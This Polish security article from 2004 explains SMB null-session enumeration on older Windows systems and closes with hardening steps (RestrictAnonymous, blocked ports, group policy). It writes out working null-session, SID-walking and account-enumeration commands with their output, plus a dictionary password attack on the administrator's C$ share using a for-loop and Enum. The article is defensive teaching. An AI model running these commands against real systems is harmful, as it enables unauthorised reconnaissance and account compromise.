Anonimowy użytkownik

Opublikowano: 29 czerwca 2004

Usługa udostępniania plików i drukarek w sieciach Microsoft Windows wykorzystuje protokół SMB (Server Message Block) którego niewłaściwa (i w przypadku starszych systemów domyślna) konfiguracja pozwala anonimowemu użytkownikowi na odczytanie min.:

1.

Identyfikatora SID komputera,

2.

Listy kont użytkowników,

3.

Listy udostępnionych udziałów,

4.

Obowiązujących zasad haseł (m.in. minimalnej długość stosowanych haseł),

5.

Obowiązujących zasad blokady kont (m.in. liczby nieudanych prób załogowania, po których konto zostaje automatycznie zablokowane i czasu trwania blokady),

6.

Kompletnych informacji o kontach użytkowników i ich aktywności (m.in. pełnej nazwy konta, tekstu komentarza, lokalizacji folderu domowego, czasie ostatniego zalogowania, dacie ostatniej zmiany hasła),

7.

Szczegółowych informacji o systemie operacyjnym (min. liście zainstalowanych aktualizacji, czasie nieprzerwanego działania i przynależności komputera do domeny lub grupy roboczej).

Tematem artykułu jest enumeracja (wyliczanie) istotnych z punktu widzenia bezpieczeństwa systemu informacji poprzez nawiązanie pustej sesji SMB i techniki zabezpieczenia się przed tego typu atakiem.

Sesja SMB nawiązana przez anonimowego użytkownika nazywana jest pustą sesją (ang. Null session)

*
Zawartość strony
Protokół SMBProtokół SMB
Zdobywanie informacji o kontach użytkownikówZdobywanie informacji o kontach użytkowników
Zdobywanie informacji o konfiguracji systemuZdobywanie informacji o konfiguracji systemu
Zdobywanie haseł użytkownikówZdobywanie haseł użytkowników
Zabezpieczenie systemu operacyjnegoZabezpieczenie systemu operacyjnego

Protokół SMB

Zadaniem protokołu SMB jest umożliwienie korzystania z udostępnionych na zdalnych systemach udziałów. W większości wypadków sesja SMB polega na wymienieniu pomiędzy klientem i serwerem określonych komunikatów wyzwania i odpowiedzi. Jedynym wyjątkiem jest sytuacja w której klient żąda założenia blokady na zablokowane już przez innego użytkownika zasoby serwera — w takim przypadku serwer w odpowiedzi przesyła losowy komunikat sygnalizujący niepowodzenie realizacji żądania klienta.

Nawiązanie sesji SMB składa się z pięciu etapów:

1.

Nawiązania połączenia TCP/IP, NetBEUI lub IPX/SPX,

2.

Żądania nawiązania sesji NetBIOS,

3.

Uzgodnienia protokołu sesji SMB,

4.

Ustanowienia sesji,

5.

Połączenia z udostępnionym udziałem.

W przypadku typowej (domyślnej) konfiguracji systemów Windows nawiązanie sesji SMB przebiega według następującego schematu:

Etap 1. Nawiązanie połączenia TCP

Do komputera o podanej nazwie NetBIOS lub adresie IP zostaje wysłany komunikat żądania nawiązania sesji SMB. Oznacza to, że sesja SMB może zostać nawiązana z dowolnym, nie chronionym przez zaporę komputerem, o ile tylko ruter za pośrednictwem którego ten komputer jest połączony z Internetem nie filtruje pakietów protokołu SMB. O ile wszystkie systemy Windows umożliwiają nawiązanie sesji SMB poprzez port TCP 139, to wyłącznie systemy Windows NT4 SP 6a, 2000 i nowsze dodatkowo nasłuchują na porcie TCP 445.

Etap 2. Żądanie nawiązania sesji NetBIOS

Chociaż port 139 może zostać zablokowany poprzez wyłączenie systemu NetBIOS przez TCP/IP (rysunek 1.) to zablokowanie tego portu nie wystarcza do uniemożliwienia nawiązywania sesji SMB — systemy Windows NT4 z zainstalowanym pakietem SP 6a, Windows 2000 i nowsze automatycznie spróbują nawiązać sesję poprzez nadal otwarty port TCP 445.

Rysunek 1. Konfigurując zaawansowane ustawienia TCP/IP możemy wyłączyć system NetBIOS przez TCP/IP dla danego połączenia sieciowego, ale nie ochroni nas to przed  atakami na protokół SMB.

Rysunek 1. Konfigurując zaawansowane ustawienia TCP/IP możemy wyłączyć system NetBIOS przez TCP/IP dla danego połączenia sieciowego, ale nie ochroni nas to przed atakami na protokół SMB.

Etap 3. Uzgodnienie protokołu sesji SMB

Kolejnym etapem jest wynegocjowanie przez komputer kliencki i serwer protokołu wykorzystywanego do potwierdzenia tożsamości zdalnego użytkownika. Dostępne są następujące technologie:

PC Network

Microsoft Networks

LM

NTLM

Kerberos

przy czym za bezpieczne mogą zostać uznane tylko dwie ostatnie.

Etap 4. Ustanowienie sesji

Do ustanowienia sesji niezbędne jest uwierzytelnienie się w zdalnym systemie. W zależności od uzgodnionego protokołu uwierzytelniania dane potwierdzające tożsamość użytkownika:

w ogóle nie zostaną przesłane,

zostaną przesłane jawnym tekstem,

zostaną zaszyfrowane algorytmem DES,

zostaną zaszyfrowane algorytmem MD4 lub MD5,

zostaną wysłane w postaci potwierdzonego przez KDC klucza użytkownika.

Etap 5. Połączenie z udostępnionym udziałem

Po ustanowieniu sesji możemy połączyć się z udostępnionymi przez zdalny system udziałami. Systemy Windows NT, 2000 i nowsze automatycznie tworzą określoną listę ukrytych udziałów:

C:\>net share
Udział       Zasób                             Uwaga
-------------------------------------------------------------------------------
IPC$                                           Zdalne wywołanie IPC
D$           D:\                               Domyślny udział
X$           X:\                               Udział domyślny
print$       C:\WINDOWS\system32\spool\drivers Sterowniki drukarek
ADMIN$       C:\WINDOWS                        Administracja zdalna
C$           C:\                               Domyślny udział
Polecenie zostało wykonane pomyślnie.

Z punktu widzenia hakera najciekawszy jest, umożliwiający wymianę danych pomiędzy programami poprzez potoki nazwane, udział IPC$. Ponieważ:

udział ten jest dostępny we wszystkich systemach Windows,

jego zablokowanie uniemożliwia nie tylko działanie wielu programów ale również zdalne zarządzanie systemem i przeglądanie jego zasobów,

domyślnie prawo nawiązania podłączania z tym udziałem jest przyznane anonimowemu użytkownikowi (nie dotyczy to systemu Windows 2003),

istniejący interfejs Win API umożliwia pobieranie wielu cennych informacji o systemie i kontach użytkowników poprzez sesje SMB,

nawiązanie pustej sesji jest jedną z najpopularniejszych technik gromadzenia przydatnych podczas ataku na systemy Windows danych.

Kolejny listing pokazuje sposób nawiązania pustej sesji ze zdalnym systemem Windows. Po uwierzytelnieniu w zdalnym systemie jako użytkownik anonimowy (opcja /u: "") z pustym hasłem ("") możemy np. wyświetlić udostępniane przez ten komputer zasoby.

C:\>net use \\192.168.146.128\ipc$ "" /u:""
Polecenie zostało wykonane pomyślnie.
C:\>net view \\192.168.146.128
Zasoby udostępnione na \\192.168.146.128

Nazwa udziału  Typ   Używany jako  Komentarz
-------------------------------------------------------
SharedDocs     Dysk
Polecenie zostało wykonane pomyślnie.
Do początku stronyDo początku strony

Zdobywanie informacji o kontach użytkowników

Przedstawiane poniżej programy wywołują funkcje API systemu operacyjnego tak więc ta sama wersja programu może nie działać poprawnie w różnych systemach Windows.

Jednym z dostępnych w Internecie programów które pozwalają na odczytanie informacji o kontach użytkowników zdalnego systemu jest UserInfo. Ponieważ program sam nawiązuje anonimowe połączenie ze zdalnym systemem, jego użycie sprowadza się do uruchomienia wiersza polecenia i podania nazw komputera i użytkownika:

C:\>userinfo \\192.168.146.128 administrator
        UserInfo v1.5 - thor@hammerofgod.com
        Querying Controller \\192.168.146.128
        USER INFO
        Username:       Administrator
        Full Name:
        Comment:        Wbudowane konto do administrowania komputerem/domeną
				User Comment:
        User ID:        500
        Primary Grp:    513
        Privs:          Admin Privs
        OperatorPrivs:  No explicit OP Privs
        SYSTEM FLAGS (Flag dword is 66049)
        User's pwd never expires.
        MISC INFO
        Password age:   Thu Dec 05 15:09:11 2002
        LastLogon:      Sun Mar 23 10:11:49 2003
        LastLogoff:     Thu Jan 01 00:00:00 1970
        Acct Expires:   Never
        Max Storage:    Unlimited
        Workstations:
        UnitsperWeek:   168
        Bad pw Count:   0
        Num logons:     328
        Country code:   0
        Code page:      0
        Procms:
        ScriptPath:
        Homedir drive:
        Home Dir:
        PasswordExp:    0
        Logon hours at controller, GMT:
        Hours-          12345678901N12345678901M
        Sunday          111111111111111111111111
        Monday          111111111111111111111111
        Tuesday         111111111111111111111111
        Wednesday       111111111111111111111111
        Thursday        111111111111111111111111
        Friday          111111111111111111111111
        Saturday        111111111111111111111111
        Get hammered at HammerofGod.com!

Program UserInfo, tak jak większość opisywanych programów, zwraca żądane dane, nawet jeżeli na zdalnym systemie ustawienia opcji Dodatkowe ograniczenia dla połączeń anonimowych nie pozwalają na wyliczanie udziałów i kont użytkowników lokalnych. Techniki zabezpieczania systemu przed ujawnianiem anonimowemu użytkownikowi poufnych danych, w tym opisywana opcja zostały przedstawione w punkcie Zabezpieczenie systemu operacyjnego.

W tym momencie atakujący zdobył kilka interesujących informacji:

1.

Skoro identyfikator względny RID konta jest równy 500, to konto o nazwie Administrator rzeczywiście jest kontem administratora, a nie często spotykanym wabikiem.

2.

Hasło konta zostało ustawione dość dawno temu, możliwe, że podczas jego instalacji, a jego ważność nigdy nie wygasa.

3.

Konto jest regularnie wykorzystywane (ponad 300 logowań) i nie ma żadnych ograniczeń związanych z dozwolonymi godzinami logowania.

Gdyby natomiast okazało się, że konto o nazwie Administrator ma inny identyfikator RID, czyli że jest to konto — wabik, prawdopodobnie bez jakichkolwiek uprawnień, to do poznania nazwy prawdziwego administratora haker może wykorzystać dostępny w Internecie program WhoIsAdmin:

C:\>whoisadmin 192.168.146.128
WhoisAdmin: Get Admin Account of remote Computer and Domain.
bingle@email.com.cn
Connecting to 192.168.146.128... Success.
Open LSA Policy Success.
NetBios Accounts:
Computer Name: LOLEK, S-1-5-21-1123561945-920026266-854245398
Admin User Account of this Computer is: Administrator

Program ten nie tylko wyświetla nam nazwę konta administratora komputera, ale również identyfikator SID tego komputera.

Identyfikatory zabezpieczeń

Identyfikatory SID jednoznacznie identyfikują obiekty systemowe, między innymi konta użytkowników. W przypadku kont domenowych identyfikator zabezpieczeń jest połączeniem identyfikatora domeny i identyfikatora względnego RID. Każdy identyfikator składa się z kilku sekcji:

pierwsza cyfra oznacza numer wersji identyfikatora SID i w przypadku systemów Windows NT, 2000 lub nowszych zawsze przyjmuje wartość 1,

druga cyfra określa najwyższy poziom uwierzytelniania który może obowiązywać obiekt danego typ i w przypadku systemów Windows NT, 2000 lub nowszych zawsze przyjmuje wartość 1,

następnie zapisane są identyfikatory podrzędnych źródeł uwierzytelniania dla danej domeny. Kolejne identyfikatory oddzielone są myślnikami,

jako ostatni zapisany jest identyfikator względny RID jednoznacznie identyfikujący konto użytkownika.

Poznać wartość identyfikatora poszczególnych kont możemy np. korzystając z programu User2Sid:

C:\>user2sid \\192.168.146.128 administrator
S-1-5-21-1123561945-920026266-854245398-500
Number of subauthorities is 5
Domain is LOLEK
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser

Konto administratora, niezależnie od nazwy, zawsze ma identyfikator RID równy 500, a konto gościa — 501. Konta pozostałych użytkowników mają identyfikatory RID powyżej 1000. RID grupy administratorzy domeny wynosi 512 a grupy Goście — 514. Anonimowy użytkownik ma identyfikatory SID S-1-0 (puste konto) i S-1-00 (Nikt).

Wiedząc, że identyfikator użytkownika składa się z identyfikatora komputera uzupełnionego o trzycyfrowy identyfikator RID, haker może wyświetlić nazwy wszystkich kont użytkowników zdalnego systemu:

C:\>sid2user \\192.168.146.128  5 21 1123561945 920026266 854245398 1011
Name is IWAM_LOLEK
Domain is LOLEK
Type of SID is SidTypeUser

Ponieważ zdobycie nazw kont użytkowników ma pierwszorzędne znaczenie dla hakera, w Internecie znajduje się wiele programów, które korzystając z połączenia anonimowego, zdobywają te informacje, np. wchodzący w skład pakietu RpcTools program WalkSam:

C:\>walksam  \\192.168.146.128  
…
rid 1014: user toja
Userid: toja
Full Name: Moje własne konto
Home Dir:
Home Drive:
Logon Script:
Procms:
Description: Konto umożliwiające testowanie połączeń SMB
Workstations:
Procms:
User Comment:
Last Logon:  never
Last Logoff:  never
Last Passwd Change:  3/22/2003 16:51:13.73
Acct. Expires:  never
Allowed Passwd Change:  3/22/2003 16:51:13.73
Rid: 1014
Primary Group Rid: 513
Flags: 0x10
Fields Present: 0xffffff
Bad Password Count: 0
Num Logons: 0
rid 544: alias Administratorzy
rid 545: alias Użytkownicy
rid 546: alias Goście
rid 547: alias Użytkownicy zaawansowani
rid 551: alias Operatorzy kopii zapasowych
rid 552: alias Replikator

Do zdobycia informacji o tym, kiedy po raz ostatni zmieniane było hasło użytkownika zdalnego systemu, haker skorzysta np. z programu NetPwAge:

C:\>NetPwAge /USERS /COMPUTER: 192.168.146.128  
Querying \\192.168.146.128 for a list of accounts...
Name                 Account Type        Password Age(Days)
-------------------------------------------------------------------------------
__vmware_user__      User Account        0
Administrator        User Account        118
Gosc
haker                User Account        0
IUSR_LOLEK           User Account        19
IWAM_LOLEK           User Account        19
mariolka             User Account        10
SQLDebugger          User Account        38
sqlsrv               User Account        0
toja                 User Account        11
TsInternetUser       User Account        118
VUSR_LOLEK           User Account        57
VUSR_LOLEK1          User Account        38
zament               User Account        13
-------------------------------------------------------------------------------
   Total users displayed: 14
The command completed successfully.

O tym, że zezwolenie na nawiązywanie pustych sesji jest słabym punktem systemu którego wykorzystanie nie wymaga od atakującego żadnej wiedzy możemy przekonać się uruchamiając program UserDump. Wywołując program, należy jedynie podać nazwę komputera, nazwę dowolnego, istniejącego w tym systemie konta i określić, ile numerów SID zostanie odczytanych aby uzyskać komplet informacji o kontach użytkowników zdalnego systemu.

Do początku stronyDo początku strony

Zdobywanie informacji o konfiguracji systemu

Poprzez pustą sesję można — oprócz danych na temat kont użytkowników — zdobyć dane konfiguracyjne zdalnego systemu operacyjnego. Jednym z najbardziej wszechstronnych narzędzi do zbierania informacji o zdalnych systemach, jest program Enum. Pozwala on nie tylko na odczytanie m.in. nazw kont użytkowników, nazw grup i listy należących do nich użytkowników, udostępnionych udziałów czy zasad bezpieczeństwa haseł użytkowników, ale również na przeprowadzanie słownikowych ataków w celu odgadnięcia haseł użytkownika. Wywołanie programu bez podania nazwy lub adresu zdalnego komputera zakończy się wyświetleniem listy dostępnych opcji:

C:\>enum.exe
usage:  enum.exe  [switches]  [hostname|ip]
  -U:  get userlist
  -M:  get machine list
  -N:  get namelist dump (different from -U|-M)
  -S:  get sharelist
  -P:  get password policy information
  -G:  get group and member list
  -L:  get LSA policy information
  -D:  dictionary crack, needs -u and -f
  -d:  be detailed, applies to -U and -S
  -c:  don't cancel sessions
  -u:  specify username to use (default "")
  -p:  specify password to use (default "")
  -f:  specify dictfile to use (wants -D)

Uruchamiając program z opcjami –MNSL zdobędziemy podstawowe dane o konfiguracji zabezpieczeń systemu, przynależności komputera do domeny lub grupy roboczej, udostępnionych zasobach a nawet zainstalowanych aplikacjach (instalacja niektórych programów, np. serwera IIS czy pakietu Visual Studio powoduje utworzenie kont użytkowników o powszechnie znanych nazwach).

Do początku stronyDo początku strony

Zdobywanie haseł użytkowników

Znając nazwy kont administratorów i wiedząc, że nie są one blokowane po określonej liczbie nieudanych logowań, atakujący może spróbować odgadnąć hasła. Jedyne, co będzie mu do tego potrzebne, to plik słownika — im więcej słów będzie się w nim znajdowało, tym większe prawdopodobieństwo udanego ataku.

Ponieważ systemy Windows nie umożliwiają jednoczesnego uwierzytelnienia się w tym samym systemie jako kilku różnych użytkowników dopóki nie zostanie rozłączone połączenie nawiązane jako użytkownik anonimowy, niemożliwe będzie uwierzytelnienie się jako inny użytkownik.

W najprostszym przypadku do ataku może posłużyć poniższy skrypt wiersza polecenia:

C:\>for /f "tokens=1" %a in (pass.lst)do net use * \\192.168.146.128\c$ /u:"192.
168.146.128\administrator" %a

gdzie pass.lst jest nazwą pliku słownika. Aby uniknąć niejednoznaczności, nazwy kont poprzedzone zostały nazwą zdalnego systemu. Nawiązując połączenia, należy konsekwentnie podawać albo nazwy komputerów, albo ich adresy.

W praktyce atakujący użyje raczej do odgadnięcia hasła administratora jednego z dostępnych w Internecie programów, np. opisywanego programu Enum:

C:\>enum -D -u "192.168.146.128\ administrator " -f "pass.lst" \\192.168.146.128
username: administrator
dictcms: pass.lst
server: 192.168.146.128
connected as 192.168.146.128\ administrator, disconnecting... success.
(1) administrator | aaa
return 1326, Błąd logowania: nieznana nazwa użytkownika lub nieprawidłowe hasło.
(2) administrator | abc
…
(397) administrator | haslo
password found: haslo

W tym przypadku, po znalezieniu prawidłowej kombinacji nazwa użytkownika — hasło, zostaje nawiązana sesja SMB z udziałem IPC$ zaatakowanego systemu.

Chociaż teoretycznie możliwe, zdobycie hasła poprzez przeprowadzenie ataku pełnego przeglądu jest mało prawdopodobne, o ile tylko nie są używane hasła typu „aaa” lub „123”.

Do początku stronyDo początku strony

Zabezpieczenie systemu operacyjnego

Skutecznym, ale mało praktycznym sposobem zabezpieczenia się przed atakami na protokół SMB jest jego wyłączenie. W tym celu należy odznaczyć usługę udostępniania plików i drukarek w sieciach Microsoft Network dla danego połączenia sieciowego (rysunek 2).

Rysunek 2. Po odznaczeniu zaznaczonej opcji niemożliwe będzie udostępniania zasobów lokalnego komputera w sieci.

Rysunek 2. Po odznaczeniu zaznaczonej opcji niemożliwe będzie udostępniania zasobów lokalnego komputera w sieci.

Alternatywnym rozwiązaniem jest zablokowanie (za pomocą zapory albo filtrów IPSec) portów 139 i 445 TCP. Wadą obu tych rozwiązań jest ograniczenie funkcjonalności komputera — po ich zastosowaniu niemożliwe będzie udostępnianie (a w przypadku zablokowania portów protokołu SMB również uzyskiwanie dostępu) zasobów w sieci lokalnej.

Windows NT

W pojedynczych domenach system Windows NT zawsze jest w stanie określić tożsamość zdalnego klienta. W takiej konfiguracji ograniczenie uprawnień użytkownika anonimowego nie wpłynie na stabilność systemu, co nie oznacza, że może uniemożliwić poprawne działanie niektórych programów. Inaczej w przypadku systemu wielu zaufanych domen — domyślne relacje zaufania w systemie Windows NT są jednokierunkowe i w niektórych przypadkach do zarządzania systemem wymagany będzie dostęp anonimowy. Na przykład, jeżeli domena Zasoby ufa domenie Pracownicy (a więc użytkownicy którzy mają konta w domenie Pracownicy mogą uzyskiwać dostęp do zasobów komputerów znajdujący się w domenie Zasoby) a administrator domeny Zasoby będzie chciał nadać uprawnienia do plików czy drukarek użytkownikom z domeny Pracownicy, do pobrania listy kont użytkowników będzie musiał wykorzystać pustą sesję.

Również replikacja danych pomiędzy zabezpieczonymi systemami może zakończyć się błędem spowodowanym brakiem dostępu lokalnego konta specjalnego System do rejestru zdalnego systemu. Jeżeli w dzienniku zdarzeń zapisany został błąd o numerze 3216 należy zmodyfikować Rejestr dodając do parametru HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg\AllowedPaths\Machine wartość System\CurrentControlSet\Services\Replicator i ponownie uruchomić system.

Systemy Windows NT4 z zainstalowanym pakietem SP 3 lub późniejszym umożliwiają ograniczenie dostępu do listy kont użytkowników do uwierzytelnionych użytkowników. W tym celu należy dodać parametr RestrictAnonymous typu REG_DWORD do klucza rejestru HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA i ustawić jego wartość na 1.

Po ponownym uruchomieniu systemu anonimowy użytkownik nie będzie w stanie za pomocą narzędzi systemowych odczytać informacji o kontach użytkowników. Jeżeli wartość parametru RestrictAnonymous wynosi 0 lub parametr nie istnieje anonimowy użytkownik będzie w stanie pobrać wszystkie opisywane informacje. Skuteczność takiego zabezpieczenia ogranicza fakt, że istnieje wiele programów (np. przedstawione w artykule) które w dalszym ciągu umożliwią odczytanie poprzez pustą sesję danych o użytkownikach i udziałach zdalnego systemu.

Osobną kwestą jest ograniczenie zdalnego dostępu do rejestru systemowego.

Po pierwsze, jeżeli wartość parametru HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters\ RestrictNullSessAccess zostanie ustawiona na 0, anonimowy użytkownik uzyska dostęp do rejestru, niezależnie od wartości parametru RestrictAnonymous.

Po drugie, po zainstalowaniu pakietu SP3 lub późniejszego, zdalny dostęp do rejestru kontrolowany jest przez klucz HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg. Podklucz AllowedPaths zawiera listę (w postaci wartości typu Wielociąg) dostępnych zdalnie kluczy rejestru. Dostęp do pozostałych kluczy ograniczony jest do administratorów lokalnego systemu.

Windows 2000

System Windows 2000 umożliwia skuteczne ograniczenie uprawnień użytkownika anonimowego. W tym przypadku oprócz bezpośredniej modyfikacji Rejestru możemy do konfiguracji wykorzystać konsole MMC Zasady zabezpieczeń lokalnych lub Zasady Grupy.

Predefiniowane szablony zabezpieczeń hisecws i hisecdc zawierają wpis ograniczający uprawnienia anonimowego użytkownika.

Po uruchomieniu konsoli należy wybrać znajdującą się w sekcji Ustawienia zabezpieczeń pozycję Opcje zabezpieczeń/Zasady lokalne i dwukrotnie kliknąć Dodatkowe ograniczenia połączeń anonimowych. Następnie z listy dostępnych wartości wybieramy Brak dostępu bez jawnie określonych uprawnień użytkowników anonimowych. Wprowadzone ustawienia zaczną obowiązywać po ponownym uruchomieniu systemu operacyjnego.

W przedstawiony sposób ustawimy wartość parametru HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA\RestrictAnonymous na 2, co spowoduje usunięcie konta anonimowego użytkownika z grupy specjalnej Wszyscy. Ponieważ niektóre usługi systemowe oraz programy do poprawnego działania wymagają anonimowego dostępu do zdalnych systemów, przed zmianą konfiguracji należy uwzględnić następujące fakty:

1.

Tak jak w przypadku systemów Windows NT administratorzy ufających domen nie będą w stanie pobrać listy kont użytkowników,

2.

Systemy Windows 9x i NT nie będą w stanie nawiązać bezpiecznego kanału dla wymiany danych logowania,

3.

Użytkownicy systemów Macintosh nie będą w stanie zmienić swojego hasła,

4.

Użytkownicy systemów Windows NT nie będą w stanie zmienić hasła, którego ważność wygasła,

5.

Usługa Przeglądarka komputera nie będzie w stanie pobrać listy domen i serwerów od zabezpieczonych systemów.

W praktyce, ograniczenie dostępu użytkownika anonimowego możliwe jest tylko w przypadku domen do których należą wyłącznie systemy Windows 2000 lub nowsze.

Windows XP i 2003

W systemach Windows XP i 2003 konto anonimowego użytkownika nie należy do grupy specjalnej Wszyscy. W rezultacie anonimowy użytkownik ma dostęp tylko do tych zasobów systemu do których został mu on jawnie nadany przez administratora. Jeżeli na liście ACL obiektu nie znajduje się identyfikator zabezpieczeń anonimowego użytkownika, próba uzyskania przez niego dostępu do danego obiektu zakończy się zgłoszeniem komunikatu błędu. Zmiana domyślnej konfiguracji systemu operacyjnego poprawiła jego bezpieczeństwo, szczególnie że:

1.

Nie wszyscy administratorzy byli świadomi faktu przynależności anonimowego użytkownika do grupy specjalnej Wszyscy,

2.

We wcześniejszych wersjach system Windows (w szczególności w systemie Windows NT) grupa Wszyscy miała domyślnie nadane liczne uprawnienia do obiektów systemowych,

3.

Anonimowy użytkownik nie ma domyślnie żadnych praw — jeżeli jakieś zasoby mają być dla niego dostępne, administrator musi zmodyfikować listę ACL tych zasobów.

W opisywanych systemach konto anonimowego użytkownika należy jedynie do następujących grup specjalnych:

Zawierającej konta użytkowników i usług, które mogą uzyskać dostęp do komputera i jego zasobów za pośrednictwem sieci, bez używania nazwy konta i hasła grupy Logowanie anonimowe,

Użytkowników, którzy w danym momencie korzystają z jakiegoś zasobu za pośrednictwem sieci grupy Sieć — typowa sytuacja,

Zawierającej konta wszystkich użytkowników, którzy w danym momencie są zalogowani na określonym komputerze i korzystają z jakiegoś jego zasobu grupy Interakcyjni — bardzo rzadka i wymagająca zmiany domyślnej konfiguracji systemu sytuacja.

W celu zachowania kompatybilności z systemami Windows NT konto użytkownika anonimowego może być dodane do grupy specjalnej Dostęp zgodny z systemami starszymi niż Windows 2000. Operacja taka zostaje przeprowadzana automatycznie podczas:

1.

1. Wybrania podczas konfiguracji kontrolera domeny opcji Uprawnienia zgodne z serwerami systemów starszych niż systemy operacyjne Windows 2000 (rysunek 3.),

2.

2. Aktualizacji serwera Windows 2000 do wersji 2003.

Rysunek 3. Zmiana domyślnych uprawnień użytkowników czyni system podatnym na opisywane w artykule zagrożenia.

Rysunek 3. Zmiana domyślnych uprawnień użytkowników czyni system podatnym na opisywane w artykule zagrożenia.

W obu przypadkach usunięcie konta anonimowego użytkownika z omawianej grupy powoduje przywrócenie domyślnego poziomu zabezpieczeń systemu Windows 2003.

Jeżeli z określonych powodów (np. wymaga tego do działania wykorzystywany w firmie program) konieczne jest dodanie konta anonimowego użytkownika do grupy specjalnej Wszyscy systemu Windows XP a korzyści z używania programu są ważniejsze niż starty związane z obniżeniem poziomu bezpieczeństwa, należy zmienić wartość parametru HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa \EveryoneIncludesAnonymous z 0 na 1. Operacja może zostać przeprowadzona za pośrednictwem konsoli MMC Zasady zabezpieczeń lokalnych lub Zasady Grupy: w tym celu należy rozwinąć znajdującą się w sekcji Ustawienia zabezpieczeń pozycję Zasady lokalne/Opcje zabezpieczeń i dwukrotnie kliknąć opcję Dostęp sieciowy: Zezwalaj na stosowanie uprawnień Wszyscy do anonimowych użytkowników.

Ustawienie znajdujących się w tej samej sekcji opcji Dostęp sieciowy: Nie zezwalaj na anonimowe wyliczanie kont SAM i Dostęp sieciowy: Nie zezwalaj na anonimowe wyliczanie kont SAM i udziałów odpowiada ustawieniu wartości parametru RestrictAnonymous odpowiednio, na 1 lub 2.


Marcin Szeliga

Marcin Szeliga (MCP+I, MCSE, MCDBA, MCSD, MCT)
Bezpieczeństwem systemów komputerowych zajmuje się od 1994 roku. Od roku 1999 pracuje jako wykładowca i szkoleniowiec prowadząc zajęcia z technologii firmy Microsoft. Jest również autorem kilkunastu książek i podręczników z różnych dziedzin informatyki, w tym kompendium "Bezpieczeństwo w sieciach Windows".


Do początku stronyDo początku strony